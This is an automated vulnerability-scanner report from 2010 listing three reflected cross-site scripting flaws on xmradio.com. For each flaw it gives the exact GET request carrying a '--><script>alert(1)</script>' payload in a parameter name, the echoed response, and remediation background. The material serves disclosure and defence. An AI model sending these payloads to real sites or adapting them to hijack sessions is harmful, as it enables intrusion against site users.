xmradio.com, XSS, CWE-79, CAPEC-86

Cross Site Scripting in xmradio.com


Loading



Report generated by CloudScan Vulnerability Crawler at Mon Dec 13 13:52:02 CST 2010.

Contents

1. Cross-site scripting (reflected)

1.1. http://www.xmradio.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.xmradio.com/onxm/index.xmc [name of an arbitrarily supplied request parameter]

1.3. https://www.xmradio.com/ [name of an arbitrarily supplied request parameter]


1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.xmradio.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.xmradio.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload f7a58--><script>alert(1)</script>e36d4caef45 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?f7a58--><script>alert(1)</script>e36d4caef45=1 HTTP/1.1
Host: www.xmradio.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
HOST_SERVICE: FutureTenseContentServer:6.3.0
X-Powered-By: Servlet/2.4 JSP/2.0
Vary: Accept-Encoding
Cache-Control: no-cache
Date: Mon, 13 Dec 2010 19:46:31 GMT
Connection: close
Content-Length: 25989

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



...[SNIP]...
<!-- Complete URL : /servlet/ContentServer?pagename=XM/Page&c=Page&cid=1239034455855&f7a58--><script>alert(1)</script>e36d4caef45=1 -->
...[SNIP]...
1.2. http://www.xmradio.com/onxm/index.xmc [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.xmradio.com
Path:   /onxm/index.xmc

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 7e8c7--><script>alert(1)</script>800054f6e27 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /onxm/index.xmc?7e8c7--><script>alert(1)</script>800054f6e27=1 HTTP/1.1
Host: www.xmradio.com
Proxy-Connection: keep-alive
Referer: http://www.xmradio.com/whatisxm/index.xmc
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SIRIUSXMTakeoverA=1; uiType=generic; ep=XMROUS; testcookie=testvalue; __utmz=135756024.1292269537.1.3.utmcsr=search|utmccn=(organic)|utmcmd=organic|utmctr=%27; __utma=135756024.1256698481.1292269514.1292269514.1292269514.1; __utmc=135756024; __utmb=135756024.1.10.1292269514

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
HOST_SERVICE: FutureTenseContentServer:6.3.0
X-Powered-By: Servlet/2.4 JSP/2.0
Vary: Accept-Encoding
Cache-Control: no-cache
Date: Mon, 13 Dec 2010 19:47:49 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 620107

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



...[SNIP]...
<!-- Complete URL : /servlet/ContentServer?pagename=XM/Page&c=Page&cid=1239034455882&7e8c7--><script>alert(1)</script>800054f6e27=1 -->
...[SNIP]...
1.3. https://www.xmradio.com/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.xmradio.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8b58b--><script>alert(1)</script>2ba4d9c7bcf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?8b58b--><script>alert(1)</script>2ba4d9c7bcf=1 HTTP/1.1
Host: www.xmradio.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: testcookie=testvalue; JSESSIONID=At2-jT6RG1TjW3yRpZoaH9E1whPHty-Wm4CAmdtG; __utmz=135756024.1292269537.1.3.utmcsr=search|utmccn=(organic)|utmcmd=organic|utmctr=%27; ep=XMROUS; __utma=135756024.1256698481.1292269514.1292269514.1292269514.1; uiType=generic; __utmc=135756024; __utmb=135756024.1.10.1292269514; SIRIUSXMTakeoverA=1;

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
HOST_SERVICE: FutureTenseContentServer:6.3.0
X-Powered-By: Servlet/2.4 JSP/2.0
Cache-Control: no-cache
Date: Mon, 13 Dec 2010 19:50:05 GMT
Content-Length: 25989
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



...[SNIP]...
<!-- Complete URL : /servlet/ContentServer?pagename=XM/Page&c=Page&cid=1239034455855&8b58b--><script>alert(1)</script>2ba4d9c7bcf=1 -->
...[SNIP]...
Report generated by Vulnerability Crawler - US Central 2 at Mon Dec 13 13:52:02 CST 2010.